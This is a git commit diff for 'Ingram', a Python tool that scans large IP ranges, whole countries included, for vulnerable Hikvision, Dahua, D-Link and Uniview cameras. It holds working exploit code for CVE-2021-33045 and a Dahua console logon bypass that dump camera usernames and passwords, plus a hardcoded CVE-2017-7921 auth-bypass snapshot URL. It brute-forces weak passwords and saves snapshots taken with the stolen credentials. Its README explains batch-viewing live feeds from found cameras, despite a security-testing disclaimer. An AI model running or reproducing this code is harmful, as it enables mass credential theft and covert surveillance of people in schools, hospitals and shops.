This commit is contained in:
jorhelp
2022-08-17 14:36:05 +08:00
parent b475567bad
commit 947ea731a0
31 changed files with 1449 additions and 2437 deletions
+18 -9
View File
@@ -7,6 +7,7 @@ import requests
from Ingram.utils import config
from Ingram.utils import logger
from Ingram.utils import run_cmd
def dh_console(ip, port, proto='dhip'):
@@ -14,18 +15,26 @@ def dh_console(ip, port, proto='dhip'):
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
user, passwd = '', ''
try:
with os.popen(f"""
(
# with os.popen(f"""
# (
# echo "OnvifUser -u"
# echo "quit all"
# ) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
# """) as f: items = [line.strip() for line in f]
cmd = f"""(
echo "OnvifUser -u"
echo "quit all"
) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
""") as f: items = [line.strip() for line in f]
logger.debug(items)
for idx, val in enumerate(items):
if 'Name' in val:
user = val.split(':')[-1].strip().strip(',').replace('"', '')
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
break
"""
code, msg = run_cmd(cmd)
if code == 0:
items = msg.split('\n')
logger.debug(items)
for idx, val in enumerate(items):
if 'Name' in val:
user = val.split(':')[-1].strip().strip(',').replace('"', '')
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
break
except Exception as e:
logger.error(e)
return user, passwd
+17 -5
View File
@@ -7,6 +7,7 @@ import json
from Ingram.utils import config
from Ingram.utils import logger
from Ingram.utils import run_cmd
def cve_2021_33045(ip: str) -> list:
@@ -18,12 +19,19 @@ def cve_2021_33045(ip: str) -> list:
json_file = os.path.join(OUT, f"{ip}-{port}-users.json")
try:
with os.popen(f"""
# with os.popen(f"""
# (
# echo "config RemoteDevice save {json_file}"
# echo "quit all"
# ) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
# """) as f: items = f.readlines()
cmd = f"""
(
echo "config RemoteDevice save {json_file}"
echo "quit all"
) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
""") as f: items = f.readlines()
"""
code, msg = run_cmd(cmd)
# success
if os.path.exists(json_file):
@@ -32,9 +40,13 @@ def cve_2021_33045(ip: str) -> list:
dev_all = info['params']['table'].values()
dev_alive = [i for i in dev_all if i['Enable']]
user = dev_alive[0]['UserName']
passwd = dev_alive[0]['Password']
os.remove(json_file)
return [True, user, passwd, 'cve-2021-33045', len(dev_alive)]
passwds = [i['Password'] for i in dev_alive if i['Password'] != '']
passwds = list(set(passwds))
# 子相机上有许多不同的密码,但是这些可能都和这台nvr的密码不一样
return [True, user, passwds[0], 'cve-2021-33045', len(dev_alive), passwds]
except Exception as e:
logger.error(e)
finally:
if os.path.exists(json_file):
os.remove(json_file)
return [False, ]
+62 -27
View File
@@ -1,15 +1,14 @@
"""input output"""
"""the data that produced by scanner and send to workshop"""
import os
import sys
import pickle
import hashlib
from multiprocessing import Pool, Queue
from multiprocessing import Pool
from gevent.lock import RLock
from Ingram.utils import color
from Ingram.utils import logger
from Ingram.utils import singleton
from Ingram.utils import get_current_time
from Ingram.utils import get_ip_seg_len, get_all_ip
@@ -19,9 +18,9 @@ class Data:
def __init__(self, _input, output):
self.input = _input
self.output = output
self.msg_queue = Queue()
self.var_lock = RLock()
self.file_lock = RLock()
self.create_time = get_current_time()
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()
self.total = 0
@@ -63,19 +62,21 @@ class Data:
# the location to begin
if self.done != 0:
current = 0
while self.lines:
line = self.lines.pop(0)
current += get_ip_seg_len(line)
if current == self.done:
break
elif current < self.done:
continue
else:
ips = get_all_ip(line)
self.lines = ips[-(current - self.done):] + self.lines
break
logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
for _ in range(self.done):
next(self.ip_generator)
# current = 0
# while self.lines:
# line = self.lines.pop(0)
# current += get_ip_seg_len(line)
# if current == self.done:
# break
# elif current < self.done:
# continue
# else:
# ips = get_all_ip(line)
# self.lines = ips[-(current - self.done):] + self.lines
# break
# logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
# found
results_file = os.path.join(self.output, 'results.csv')
@@ -83,19 +84,53 @@ class Data:
with open(results_file, 'r') as f:
self.found = len([l for l in f if l.strip()])
self.vuls = open(results_file, 'a')
self.not_vuls = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
self.vul = open(results_file, 'a')
self.not_vul = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
def ip_generate(self):
for line in self.lines:
ips = get_all_ip(line)
for ip in ips:
yield ip
yield from get_all_ip(line)
def get_total(self):
with self.var_lock:
return self.total
def get_done(self):
with self.var_lock:
return self.done
def get_found(self):
with self.var_lock:
return self.found
def found_add(self):
with self.var_lock:
self.found += 1
def done_add(self):
with self.var_lock:
self.done += 1
def vul_add(self, item):
with self.file_lock:
self.vul.writelines(item)
self.vul.flush()
def not_vul_add(self, item):
with self.file_lock:
self.not_vul.writelines(item)
self.not_vul.flush()
def record_running_state(self):
# every 5 minutes
with self.var_lock:
time_interval = int(get_current_time() - self.create_time)
if time_interval % (5 * 60) == 0:
logger.info(f"#@#{self.taskid}#@#{self.done}#@#running state")
def __del__(self):
try: # if dont add try, sys.exit() may cause error
self.vuls.close()
self.not_vuls.close()
self.msg_queue.close()
try: # if dont use try, sys.exit() may cause error
self.vul.close()
self.not_vul.close()
except Exception as e:
logger.error(e)
+77 -70
View File
@@ -1,40 +1,51 @@
"""coordinate various configurations and make decisions"""
import os
import time
from functools import partial
from multiprocessing import Process
from multiprocessing.pool import ThreadPool
from concurrent.futures import ThreadPoolExecutor
from threading import Thread
from collections import defaultdict
from gevent import monkey; monkey.patch_all(thread=False)
from gevent.pool import Pool as geventPool
from Ingram.utils import config
from Ingram.utils import logger
from Ingram.utils import color
from Ingram.utils import singleton
from Ingram.utils import get_all_ip
from Ingram.utils import get_current_time
from Ingram.core.scan import Scan
from Ingram.core.data import Data
from Ingram.middleware import snapshot
from Ingram.core.workshop import Workshop
from Ingram.middleware import status_bar
def consumer(msg_queue, path, maxtry, timeout):
_snapshot = partial(snapshot, path=path, maxtry=maxtry, timeout=timeout)
pool = ThreadPoolExecutor(8)
while True:
try:
if msg_queue.empty():
time.sleep(.1)
else:
item = msg_queue.get()
if item == 'done':
return
# multithread
pool.submit(_snapshot, item)
except KeyboardInterrupt as e:
os._exit(0) # 这种退出方式常用在子进程中
except Exception as e:
os._exit(0)
def consumer(core):
try:
while not core.finish:
core.workshop.process()
except KeyboardInterrupt as e:
# os._exit(0) # 这种退出方式常用在子进程中
exit(0)
except Exception as e:
logger.error(e)
exit(0)
def status(core):
bar = status_bar()
try:
while True:
time_interval = get_current_time() - core.create_time
total = core.data.get_total()
done = core.data.get_done()
found = core.data.get_found()
product = core.workshop.get_done()
bar(total, done, found, product, time_interval)
time.sleep(.05)
except KeyboardInterrupt as e:
exit(0)
except Exception as e:
logger.error(e)
exit(0)
@singleton
@@ -42,74 +53,70 @@ class Core:
def __init__(self):
self.data = Data(config['IN'], config['OUT'])
self.scan = Scan(self.data, config['PORT'])
self.consumer = Process(target=consumer,
args=(self.data.msg_queue,
os.path.join(config['OUT'], 'snapshot'),
config['MAXTRY'],
config['TIMEOUT']))
self.workshop = Workshop(os.path.join(config['OUT'], 'snapshot'), config['TH'] // 4)
self.scan = Scan(self.data, self.workshop, config['PORT'])
self.status = Thread(target=status, args=(self, ))
self.consumer = Thread(target=consumer, args=(self, ))
self.create_time = get_current_time()
self.finish = False
# logger config vars
logger.info(config.config_dict.items())
def __call__(self):
try:
self.status.setDaemon(True)
self.status.start()
self.consumer.start()
# gevent pool
with self.data.var_lock:
self.scan.bar(self.data.done, self.data.found)
self.scan_pool = geventPool(config['TH'])
self.scan_pool.map_async(self.scan, self.data.ip_generator).get()
# # threading pool
# with ThreadPool(config['TH']) as pool:
# pool.map_async(self.scan, self.data.ip_generator).get()
time.sleep(.1) # the last item may not print
self.finish = True # terminate the status thread
self.data.msg_queue.put('done')
self.report()
self.consumer.join()
# self.report()
logger.info('Ingram done')
self.consumer.terminate()
except KeyboardInterrupt as e:
self.finish = True
exit(0)
except Exception as e:
self.finish = True
logger.error(e)
exit(0)
def __del__(self):
try:
self.scan_pool.kill()
self.consumer.terminate()
del self.data
del self.scan
del self.consumer
except Exception as e:
logger.error(e)
# def report(self):
# """report the results"""
# if not os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
# return
def report(self):
"""report the results"""
results_file = os.path.join(config['OUT'], 'results.csv')
if os.path.exists(results_file):
with open(results_file, 'r') as f:
items = [l.strip().split(',') for l in f if l.strip()]
# with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
# items = [l.strip().split(',') for l in f if l.strip()]
# results = defaultdict(lambda: defaultdict(lambda: 0))
# for i in items:
# dev, vul = i[-2].split('-')[0], i[-1]
# results[dev][vul] += 1
# results_sum = len(items)
# results_max = max([val for vul in results.values() for val in vul.values()])
# print('\n')
# print('-' * 19, 'REPORT', '-' * 19)
# for dev in results:
# vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
# dev_sum = sum([i[1] for i in vuls])
# printf(f"{dev} {dev_sum}", color='red', bold=True)
# for vul_name, vul_count in vuls:
# printf(f"{vul_name:>18} | ", end='')
# block_num = int(vul_count / results_max * 25)
# printf('▥' * block_num, end=' ')
# printf(vul_count)
# printf(f"{'sum: ' + str(results_sum):>46}", color='yellow', flash=True)
# print('-' * 46)
# print('\n')
results = defaultdict(lambda: defaultdict(lambda: 0))
for i in items:
dev, vul = i[2].split('-')[0], i[-1]
results[dev][vul] += 1
results_sum = len(items)
results_max = max([val for vul in results.values() for val in vul.values()])
print('\n')
print('-' * 19, 'REPORT', '-' * 19)
for dev in results:
vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
dev_sum = sum([i[1] for i in vuls])
print(color.red(f"{dev} {dev_sum}", 'bright'))
for vul_name, vul_count in vuls:
block_num = int(vul_count / results_max * 25)
print(color.green(f"{vul_name:>18} | {'▥' * block_num} {vul_count}"))
print(color.yellow(f"{'sum: ' + str(results_sum):>46}", 'bright'), flush=True)
print('-' * 46)
print('\n')
+12 -21
View File
@@ -1,7 +1,5 @@
"""scanners"""
"""the scanner that produce data"""
from Ingram.utils import logger
from Ingram.utils import get_current_time
from Ingram.middleware import progress_bar
from Ingram.middleware import device_detect
from Ingram.middleware import port_detect
from Ingram.VDB import get_vul
@@ -9,11 +7,10 @@ from Ingram.VDB import get_vul
class Scan:
def __init__(self, data, port):
def __init__(self, data, workshop, port):
super().__init__()
self.data = data
self.start_time = get_current_time()
self.bar = progress_bar(data.total, self.start_time)
self.workshop = workshop
if type(port) == list: self.port = port
else: self.port = [port]
@@ -42,22 +39,16 @@ class Scan:
if res[0]:
vulnerable = True
msg = [ip, port, device] + res[1:]
with self.data.var_lock:
self.data.msg_queue.put(msg)
self.data.found += 1
with self.data.file_lock:
self.data.vuls.writelines(','.join(msg[:6]) + '\n')
self.data.vuls.flush()
self.workshop.put(msg)
self.data.found_add()
self.data.vul_add(','.join(msg[:6]) + '\n')
if not vulnerable:
record.append((port, device))
with self.data.var_lock:
self.data.done += 1
self.bar(self.data.done, self.data.found)
with self.data.file_lock:
for port, device in record:
self.data.not_vuls.writelines(','.join([ip, port, device]) + '\n')
self.data.not_vuls.flush()
# log the running state
logger.info(f"#@#{self.data.taskid}#@#{self.data.done}#@#running state")
# done
self.data.done_add()
for port, device in record:
self.data.not_vul_add(','.join([ip, port, device]) + '\n')
self.data.record_running_state()
except Exception as e:
logger.error(e)
+48
View File
@@ -0,0 +1,48 @@
"""the workshop that load data and produce product"""
import os
from threading import RLock
from concurrent.futures import ThreadPoolExecutor
from Ingram.middleware import snapshot
class Workshop:
def __init__(self, output, th_num=8):
self.output = output
self.var_lock = RLock()
self.pipeline = []
self.workers = ThreadPoolExecutor(th_num)
self.done = 0
self.preprocess()
def preprocess(self):
if os.path.exists(self.output):
self.done = len(os.listdir(self.output))
def put(self, msg):
with self.var_lock:
self.pipeline.append(msg)
def empty(self):
with self.var_lock:
return len(self.pipeline) == 0
def get(self):
if not self.empty():
with self.var_lock:
return self.pipeline.pop(0)
def get_done(self):
with self.var_lock:
return self.done
def done_add(self):
with self.var_lock:
self.done += 1
def process(self):
while not self.empty():
item = self.get()
self.workers.submit(snapshot, item, self)
+2 -2
View File
@@ -1,4 +1,4 @@
"""some middlewares"""
from Ingram.middleware.detect import device_detect, port_detect
from Ingram.middleware.status import progress_bar
from Ingram.middleware.snapshot import snapshot
from Ingram.middleware.status import status_bar
from Ingram.middleware.shop import snapshot
-2
View File
@@ -32,8 +32,6 @@ def device_detect(ip: str, port: str) -> str:
# these are need to be hashed
for url in url_list[:-1]:
try:
# with aiohttp.ClientSession() as session:
# r = session.get(url, timeout=timeout, verify=False)
r = requests.get(url, timeout=timeout, verify=False)
if r.status_code == 200:
hash_val = hashlib.md5(r.content).hexdigest()
@@ -1,23 +1,44 @@
"""Some tools about camera"""
import os
import requests
from functools import partial
from xml.etree import ElementTree
from requests.auth import HTTPDigestAuth
from Ingram.utils import config
from Ingram.utils import logger
from Ingram.utils import get_user_agent
def snapshot(camera_info, path, maxtry=2, timeout=5):
def _snapshot_by_url(url, file_name, workshop, auth=None):
maxtry = config['MAXTRY']
timeout = config['TIMEOUT'] * 2
for _ in range(maxtry):
try:
headers = {'User-Agent': get_user_agent(), }
if auth: r = requests.get(url, auth=auth, timeout=timeout, verify=False, headers=headers)
else: r = requests.get(url, timeout=timeout, verify=False, headers=headers)
if r.status_code == 200:
with open(file_name, 'wb') as f: f.write(r.content)
workshop.done_add()
break
except Exception as e:
logger.error(e)
def snapshot(camera_info, workshop):
"""select diff func to save snapshot"""
path = os.path.join(config['OUT'], 'snapshot')
if not os.path.exists(path):
os.mkdir(path)
snapshot_by_url = partial(_snapshot_by_url, workshop=workshop)
ip, port, device, user, passwd, vul = camera_info[:6]
# cve-2017-7921
if vul == 'cve-2017-7921':
file_name = os.path.join(path, f"{ip}-{port}-cve_2017_7921.jpg")
url = f"http://{ip}:{port}/onvif-http/snapshot?auth=YWRtaW46MTEK"
snapshot_by_url(url, file_name, maxtry=maxtry, timeout=timeout)
snapshot_by_url(url, file_name)
# if we can get the password
elif passwd:
file_name = os.path.join(path, f"{ip}-{port}-{user}-{passwd}.jpg")
@@ -35,30 +56,21 @@ def snapshot(camera_info, path, maxtry=2, timeout=5):
for ch in range(1, channels + 1):
url = f"http://{ip}:{port}/ISAPI/Streaming/channels/{ch}01/picture"
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd), maxtry=maxtry, timeout=timeout)
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
# Dahua
elif device.startswith('dahua'):
elif device == 'dahua':
if len(camera_info) > 6:
channels = camera_info[7]
else: channels = 1
for ch in range(1, channels + 1):
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd), maxtry=maxtry, timeout=timeout)
channels = camera_info[6]
passwds = camera_info[7]
else:
channels = 1
passwds = [passwd]
for passwd in passwds:
for ch in range(1, channels + 1):
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
# DLink
elif device == 'dLink':
elif device == 'dlink':
url = f"http://{ip}:{port}/dms?nowprofileid=1"
snapshot_by_url(url, file_name, auth=(user, passwd), maxtry=maxtry, timeout=timeout)
def snapshot_by_url(url, file_name, auth=None, maxtry=2, timeout=5):
for _ in range(maxtry):
try:
headers = {'User-Agent': get_user_agent(), }
if auth: r = requests.get(url, auth=auth, timeout=timeout, verify=False, headers=headers)
else: r = requests.get(url, timeout=timeout, verify=False, headers=headers)
if r.status_code == 200:
with open(file_name, 'wb') as f: f.write(r.content)
break
except Exception as e:
pass
snapshot_by_url(url, file_name, auth=(user, passwd))
+8 -20
View File
@@ -1,17 +1,15 @@
"""status info"""
import os
import time
from Ingram.utils import color
from Ingram.utils import time_formatter
def progress_bar(total, start_time=0, cidx=[0]):
def status_bar():
"""
since tqdm cant be used when we use mutiprocess
we write a process bar ourself
"""
def wrapper(done, found=0):
cidx=[0]
def wrapper(total, done, found, product, time_used):
# icon
icon_list = '⇐⇖⇑⇗⇒⇘⇓⇙'
icon = color.green(icon_list[cidx[0]], 'bright')
@@ -19,8 +17,7 @@ def progress_bar(total, start_time=0, cidx=[0]):
icon = f"[{icon}]"
# time
time_used = time.time() - start_time
time_pred = time_used * (total / (done + 0.5)) # avoid the devision number is zero
time_pred = time_used * (total / (done + 0.001)) # avoid the devision number is zero
time_used = color.cyan(time_formatter(time_used), 'bright')
time_pred = color.white(time_formatter(time_pred), 'bright')
_time = f"Time: {time_used}/{time_pred}"
@@ -30,17 +27,8 @@ def progress_bar(total, start_time=0, cidx=[0]):
_done = color.blue(done, 'bright')
_percent = color.yellow(f"{round(done / total * 100, 1)}%", 'bright')
_found = 'Found ' + color.red(found, 'bright') if found else ''
count = f"{_done}/{_total}({_percent}) {_found}"
_product = 'Snapshot ' + color.red(product, 'bright') if product else ''
count = f"{_done}/{_total}({_percent}) {_found} {_product}"
print(f"\r{icon} {count} {_time} ", end='')
return wrapper
if __name__ == '__main__':
found, t0 = 0, time.time()
bar = progress_bar(10000, t0)
for i in range(1, 10001):
time.sleep(.05)
found += 1 if not i % 10 else 0
bar(i, found)
print()
print(f"\r{icon} {count} {_time} ", end='')
return wrapper
+2 -4
View File
@@ -6,12 +6,10 @@ def get_parse():
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--in_file', type=str, required=True, help='the targets will be scan')
parser.add_argument('-o', '--out_dir', type=str, required=True, help='the dir where results will be saved')
parser.add_argument('--debug', action='store_true', help='log all msg')
parser.add_argument('-p', '--port', type=int, nargs='+', default=80, help='the port(s) to detect')
parser.add_argument('-t', '--th_num', type=int, default=64, help='the processes num')
parser.add_argument('-N', '--nosnap', action='store_true', help='do not capture the snapshot')
parser.add_argument('--time_out', type=int, default=3, help='requests timeout')
parser.add_argument('-T', '--time_out', type=int, default=5, help='requests timeout')
parser.add_argument('--debug', action='store_true', help='log all msg')
args = parser.parse_args()
return args
+41 -1
View File
@@ -1,4 +1,7 @@
import os
import signal
import platform
import subprocess
def os_check() -> str:
@@ -6,6 +9,7 @@ def os_check() -> str:
_os = platform.system().lower()
if _os == 'windows': return 'windows'
elif _os == 'linux': return 'linux'
elif _os == 'darwin': return 'mac'
else: return 'other'
@@ -16,4 +20,40 @@ def singleton(cls, *args, **kwargs):
if cls not in instance:
instance[cls] = cls(*args, **kwargs)
return instance[cls]
return wrapper
return wrapper
def run_cmd(cmd_string, timeout=60):
p = subprocess.Popen(cmd_string, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True,
start_new_session=True)
if os_check() == 'windows': format = 'gbk'
else: format = 'utf-8'
try:
(msg, errs) = p.communicate(timeout=timeout)
ret_code = p.poll()
if ret_code:
code = 1
msg = "[Error]Called Error: " + str(msg.decode(format))
else:
code = 0
msg = str(msg.decode(format))
except subprocess.TimeoutExpired:
# 注意:不能只使用p.kill和p.terminate,无法杀干净所有的子进程,需要使用os.killpg
p.kill()
p.terminate()
os.killpg(p.pid, signal.SIGTERM)
# 注意:如果开启下面这两行的话,会等到执行完成才报超时错误,但是可以输出执行结果
(outs, errs) = p.communicate()
code = 0
msg = str(outs.decode(format))
# code = 1
# msg = "[ERROR]Timeout Error: Command '" + cmd_string + "' timed out after " + str(timeout) + " seconds"
except Exception as e:
code = 1
msg = "[ERROR]Unknown Error : " + str(e)
return code, msg
-8
View File
@@ -1,8 +0,0 @@
"""const vars"""
hikvision = 'hikvision'
dahua = 'dahua'
dlink = 'dlink'
cctv = 'cctv'
uniview_nvr = 'uniview_nvr'
uniview_dvr = 'uniview_dvr'
+4 -2
View File
@@ -16,8 +16,10 @@ def get_ip_seg_len(ip_seg: str) -> int:
def get_all_ip(ip_seg: str) -> list:
if ip_seg.count(':') == 1:
return [ip_seg]
return [i.strNormal() for i in IPy.IP(ip_seg, make_net=True)]
yield ip_seg
else:
for i in IPy.IP(ip_seg, make_net=True):
yield i.strNormal()
def scrapy_useragent() -> None:
+674 -674
View File
File diff suppressed because it is too large Load Diff
+192 -194
View File
@@ -1,194 +1,192 @@
<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
</div>
+ new features: support windows, reconstructure, async, msg-queue
<!-- icons -->
<div align=center>
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
</div>
English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README_CN.md)
## Introduction
![](statics/imgs/run_time.gif)
Schools, hospitals, shopping malls, restaurants, and other places where equipment is not well maintained, there will always be vulnerabilities, either because they are not patched in time or because weak passwords are used to save trouble.
This tool can use multiple threads to batch detect whether there are vulnerabilities in the cameras on the local or public network, so as to repair them in time and improve device security.
**Only successfully tested on Mac and Linux, but not on Windows!**
## Installation
+ Clone this repository by:
```bash
git clone https://github.com/jorhelp/Ingram.git
```
+ **Make sure the Python version you use is >= 3.7**, and install packages by:
```bash
cd Ingram
pip install git+https://github.com/arthaud/python3-pwntools.git
pip install -r requirements.txt
```
## Preparation
+ You should prepare a target file, which contains the ip addresses will be scanned. The following formats are allowed:
```
# Use '#' to comment (must have a single line!!)
# Single ip
192.168.0.1
# Single ip with port
192.168.0.2:80
# IP segment with '/'
192.168.0.0/16
# IP segment with '-'
192.168.0.0-192.168.255.255
```
+ The `utils/config.py` file already specifies some usernames and passwords to support weak password scanning. You can expand or decrease it:
```python
# camera
USERS = ['admin']
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
```
+ (**Optional**) If you use wechat app, and want to get a reminder on your phone. You need to follow [wxpusher](https://wxpusher.zjiecode.com/docs/) instructions to get your *UID* and *APP_TOKEN*, and write them to `utils/config.py`:
```python
# wechat
UIDS = ['This is your UID', 'This is another UID if you have', ...]
TOKEN = 'This is your APP_TOKEN'
```
+ (**Optional**) Email is not supported yet...
## Run
```shell
optional arguments:
-h, --help show this help message and exit
--in_file IN_FILE the targets will be scan
--out_path OUT_PATH the path where results saved
--send_msg send finished msg to you (by wechat or email)
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
--hik_weak
--dahua_weak
--cctv_weak
--hb_weak
--cve_2021_36260
--cve_2021_33044
--cve_2021_33045
--cve_2017_7921
--cve_2020_25078
--th_num TH_NUM the processes num
--nosnap do not capture snapshot
--masscan run masscan sanner
--port PORT same as masscan port
--rate RATE same as masscan rate
```
+ Scan with all modules (**TARGET** is your ip file, **OUT_DIR** is the path where results will be saved):
```bash
# th_num number of threads needs to be adjusted by yourself to state of your network
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
# If you use wechat, then the --send_msg should be provided:
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
```
+ Snapshots (Snapshoting is supported by default, but you can disable it with --nosnap if you think it's too slow)
```bash
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
```
+ There are some *IP FILE* in `statics/iplist/data/` that you can use, for example:
```bash
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
```
+ All modules can be combined arbitrarily to scan, for example, if you want to scan Hikvision, then:
```bash
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
```
+ Direct scanning can be slow. You can use the Masscan to speed up. The Masscan needs to be installed in advance. For example, we find hosts whose port 80 and 8000 to 8008 opened and scan them:
```shell
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
```
+ If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80`, also for the masscan.
## Results
```bash
.
├── not_vulnerable.csv
├── results_all.csv
├── results_simple.csv
└── snapshots
```
+ The comprehensive results are saved in the `OUT_DIR/results_all.csv` file, and each line is `ip,port,user,passwd,device,vulnerability`:
![](statics/imgs/results.png)
+ The `OUT_DIR/results_simple.csv` file contains only the target with the password, in the format of `IP,port,user,passwd`
+ `OUT_DIR/not_vulnerable.csv` file is stored in the target without vulnerability exposure
+ Some camera's snapshots can be found in `OUT_DIR/snapshots/`:
![](statics/imgs/snapshots.png)
## The Live
+ You can log in directly from the browser to see the live screen.
+ If you want to view the live screen in batch, we provided a script: `show/show_rtsp/show_all.py`, though it has some flaws:
```shell
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
```
![](statics/imgs/show_rtsp.png)
## Change Logs
+ [2022-06-11] **Optimized running speed; Supportted storage of the not vulnerable targets**
+ [2022-06-11] **Resume supported!!!**
+ [2022-07-23] **You can obtain the user and password through CVE-2021-33044(Dahua)!!! Updated snapshot logic (change rtsp to http), optimized running speed.**
- **Since the new version adds some dependency packages, the environment needs to be reconfigured!**
+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but the snapshot function is not always available because the NVR device's account&password may be different from the real camera**
+ [2022-08-06] **Added password disclosure module for Uniview camera, does not support snapshot yet**
## Disclaimer
This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!
## Acknowledgements & References
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
</div>
+ new features: support windows, reconstructure, async, msg-queue, not masscan
<!-- icons -->
<div align=center>
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
</div>
English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README_CN.md)
## Introduction
![](statics/imgs/run_time.gif)
Schools, hospitals, shopping malls, restaurants, and other places where equipment is not well maintained, there will always be vulnerabilities, either because they are not patched in time or because weak passwords are used to save trouble.
This tool can use multiple threads to batch detect whether there are vulnerabilities in the cameras on the local or public network, so as to repair them in time and improve device security.
**Only successfully tested on Mac and Linux, but not on Windows!**
## Installation
+ Clone this repository by:
```bash
git clone https://github.com/jorhelp/Ingram.git
```
+ **Make sure the Python version you use is >= 3.7**, and install packages by:
```bash
cd Ingram
pip install git+https://github.com/arthaud/python3-pwntools.git
pip install -r requirements.txt
```
## Preparation
+ You should prepare a target file, which contains the ip addresses will be scanned. The following formats are allowed:
```
# Use '#' to comment (must have a single line!!)
# Single ip
192.168.0.1
# IP segment with '/'
192.168.0.0/16
# IP segment with '-'
192.168.0.0-192.168.255.255
```
+ The `utils/config.py` file already specifies some usernames and passwords to support weak password scanning. You can expand or decrease it:
```python
# camera
USERS = ['admin']
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
```
+ (**Optional**) If you use wechat app, and want to get a reminder on your phone. You need to follow [wxpusher](https://wxpusher.zjiecode.com/docs/) instructions to get your *UID* and *APP_TOKEN*, and write them to `utils/config.py`:
```python
# wechat
UIDS = ['This is your UID', 'This is another UID if you have', ...]
TOKEN = 'This is your APP_TOKEN'
```
+ (**Optional**) Email is not supported yet...
## Run
```shell
optional arguments:
-h, --help show this help message and exit
--in_file IN_FILE the targets will be scan
--out_path OUT_PATH the path where results saved
--send_msg send finished msg to you (by wechat or email)
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
--hik_weak
--dahua_weak
--cctv_weak
--hb_weak
--cve_2021_36260
--cve_2021_33044
--cve_2021_33045
--cve_2017_7921
--cve_2020_25078
--th_num TH_NUM the processes num
--nosnap do not capture snapshot
--masscan run masscan sanner
--port PORT same as masscan port
--rate RATE same as masscan rate
```
+ Scan with all modules (**TARGET** is your ip file, **OUT_DIR** is the path where results will be saved):
```bash
# th_num number of threads needs to be adjusted by yourself to state of your network
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
# If you use wechat, then the --send_msg should be provided:
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
```
+ Snapshots (Snapshoting is supported by default, but you can disable it with --nosnap if you think it's too slow)
```bash
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
```
+ There are some *IP FILE* in `statics/iplist/data/` that you can use, for example:
```bash
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
```
